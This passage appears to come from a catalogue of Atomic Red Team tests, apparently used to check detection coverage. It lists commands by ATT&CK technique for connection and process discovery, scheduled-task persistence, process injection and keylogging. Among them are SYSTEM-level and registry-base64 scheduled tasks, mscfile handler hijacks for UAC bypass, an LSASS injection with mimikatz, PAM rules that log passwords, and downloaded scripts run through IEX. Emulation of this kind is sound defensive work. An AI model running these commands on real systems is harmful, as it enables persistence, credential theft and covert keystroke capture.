} | Sort-Object State,Process | Format-Table -AutoSize
bashlinux, macosSystem Network Connections Discovery via ss or lsof (Linux/MacOS)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
shlinux, macosSystem Network Connections Discovery FreeBSD, Linux & MacOS
netstat
who -a
shlinuxSystem Network Connections Discovery via sockstat (Linux, FreeBSD)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
powershellelevatedwindowsSystem Discovery using SharpView
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1053.005 Scheduled Task · 12 tests
command_promptelevatedwindowsScheduled Task Startup Script
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"
command_promptwindowsScheduled task Local
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
command_promptelevatedwindowsScheduled task Remote
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time}
powershellwindowsPowershell Cmdlet Scheduled Task
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object
powershellwindowsTask Scheduler via VBA
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-macrocode.txt" -officeProduct "#{ms_product}" -sub "Scheduler"
powershellelevatedwindowsWMI Invoke-CimMethod Scheduled Task
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
command_promptwindowsScheduled Task Executing Base64 Encoded Commands From Registry
reg add HKCU\SOFTWARE\ATOMIC-T1053.005 /v test /t REG_SZ /d cGluZyAxMjcuMC4wLjE= /f
schtasks.exe /Create /F /TN "ATOMIC-T1053.005" /TR "cmd /c start /min \"\" powershell.exe -Command IEX([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String((Get-ItemProperty -Path HKCU:\\SOFTWARE\\ATOMIC-T1053.005).test)))" /sc daily /st #{time}
powershellelevatedwindowsImport XML Schedule Task with Hidden Attribute
$xml = [System.IO.File]::ReadAllText("#{xml_path}")
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\Windows\TaskScheduler" -MethodName "RegisterByXml" -Arguments @{ Force = $true; Xml =$xml; }
powershellwindowsPowerShell Modify A Scheduled Task
$Action = New-ScheduledTaskAction -Execute "cmd.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTaskModifed -InputObject $object
$NewAction = New-ScheduledTaskAction -Execute "Notepad.exe"
Set-ScheduledTask "AtomicTaskModifed" -Action $NewAction
command_promptelevatedwindowsScheduled Task ("Ghost Task") via Registry Key Manipulation
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\#{target} -accepteula -s "cmd.exe"
"PathToAtomicsFolder\..\ExternalPayloads\GhostTask.exe" \\#{target} add #{task_name} "cmd.exe" "/c #{task_command}" #{user_name} logon
command_promptelevatedwindowsScheduled Task Persistence via CompMgmt.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "compmgmt.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's open the Computer Management console now...
compmgmt.msc
command_promptelevatedwindowsScheduled Task Persistence via Eventviewer.msc
reg add "HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command" /ve /t REG_EXPAND_SZ /d "c:\windows\System32\#{payload}" /f
schtasks /Create /TN "#{task_name}" /TR "eventvwr.msc" /SC ONLOGON /RL HIGHEST /F
ECHO Let's run the schedule task ...
schtasks /Run /TN "EventViewerBypass"
T1055 Process Injection · 13 tests
powershellwindowsShellcode execution via VBA
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
command_promptwindowsRemote Process Injection in LSASS via mimikatz
"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit"
powershellwindowsSection View Injection
$notepad = Start-Process notepad -passthru
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
powershellwindowsDirty Vanity process Injection
Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid}
powershellelevatedwindowsRead-Write-Execute process Injection
$address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
& "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
powershellwindowsProcess Injection with Go using UuidFromStringA WinAPI
$PathToAtomicsFolder\T1055\bin\x64\UuidFromStringA.exe -debug
powershellwindowsProcess Injection with Go using EtwpCreateEtwThread WinAPI
$PathToAtomicsFolder\T1055\bin\x64\EtwpCreateEtwThread.exe -debug
powershellwindowsRemote Process Injection with Go using RtlCreateUserThread WinAPI
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
powershellwindowsRemote Process Injection with Go using CreateRemoteThread WinAPI
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
powershellwindowsRemote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
$process = Start-Process #{spawn_process_path} -passthru
$PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
powershellwindowsProcess Injection with Go using CreateThread WinAPI
$PathToAtomicsFolder\T1055\bin\x64\CreateThread.exe -debug
powershellwindowsProcess Injection with Go using CreateThread WinAPI (Natively)
$PathToAtomicsFolder\T1055\bin\x64\CreateThreadNative.exe -debug
powershellelevatedwindowsUUID custom process Injection
Start-Process "#{exe_binary}"
Start-Sleep -Seconds 7
Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
T1056.001 Keylogging · 8 tests
powershellelevatedwindowsInput Capture
&"$PathToAtomicsFolder\T1056.001\src\Get-Keystrokes.ps1" -LogPath #{filepath}
shelevatedlinuxLiving off the land Terminal Input Capture on Linux with pam.d
if sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;
if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;
sudo touch /tmp/password-auth.bk
sudo touch /tmp/system-auth.bk sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/password-auth sudo echo "session required pam_tty_audit.so
enable=* log_password" >> /etc/pam.d/system-auth
shelevatedlinuxLogging bash history to syslog
PROMPT_COMMAND='history -a >(tee -a ~/.bash_history |logger -t "$USER[$$] $SSH_CONNECTION ")'
echo "\$PROMPT_COMMAND=$PROMPT_COMMAND"
tail /var/log/syslog
shelevatedlinuxLogging sh history to syslog/messages
PS2=`logger -t "$USER" -f ~/.sh_history`
$PS2
tail /var/log/messages
bashlinuxBash session based keylogger
trap 'echo "$(date +"%d/%m/%y %H:%M:%S.%s") $USER $BASH_COMMAND" >> #{output_file}' DEBUG
echo "Hello World!"
cat #{output_file}
shelevatedlinuxSSHD PAM keylogger
cp -v /etc/pam.d/sshd /tmp/
echo "session required pam_tty_audit.so disable=* enable=* open_only log_passwd" >> /etc/pam.d/sshd
systemctl restart sshd
systemctl restart auditd
ssh #{user_account}@localhost
whoami
sudo su
whoami
exit
exit
shelevatedlinuxAuditd keylogger
auditctl -a always,exit -F arch=b64 -S execve -k CMDS
auditctl -a always,exit -F arch=b32 -S execve -k CMDS
whoami; ausearch -i --start now
bashmacosMacOS Swift Keylogger
swift #{swift_src} -keylog
T1057 Process Discovery · 9 tests
shlinux, macosProcess Discovery - ps
ps >> #{output_file}
ps aux >> #{output_file}
command_promptwindowsProcess Discovery - tasklist
tasklist
powershellwindowsProcess Discovery - Get-Process
Get-Process
powershellwindowsProcess Discovery - get-wmiObject
get-wmiObject -class Win32_Process
command_promptwindowsProcess Discovery - wmic process
wmic process get /format:list
command_promptwindowsDiscover Specific Process - tasklist
tasklist | findstr #{process_to_enumerate}
powershellelevatedwindowsProcess Discovery - Process Hacker
Start-Process -FilePath "$Env:ProgramFiles\Process Hacker 2\#{processhacker_exe}"
powershellelevatedwindowsProcess Discovery - PC Hunter
Start-Process -FilePath "C:\Temp\ExternalPayloads\PCHunter_free\#{pchunter64_exe}"
command_promptwindowsLaunch Taskmgr from cmd to View running processes
taskmgr.exe /7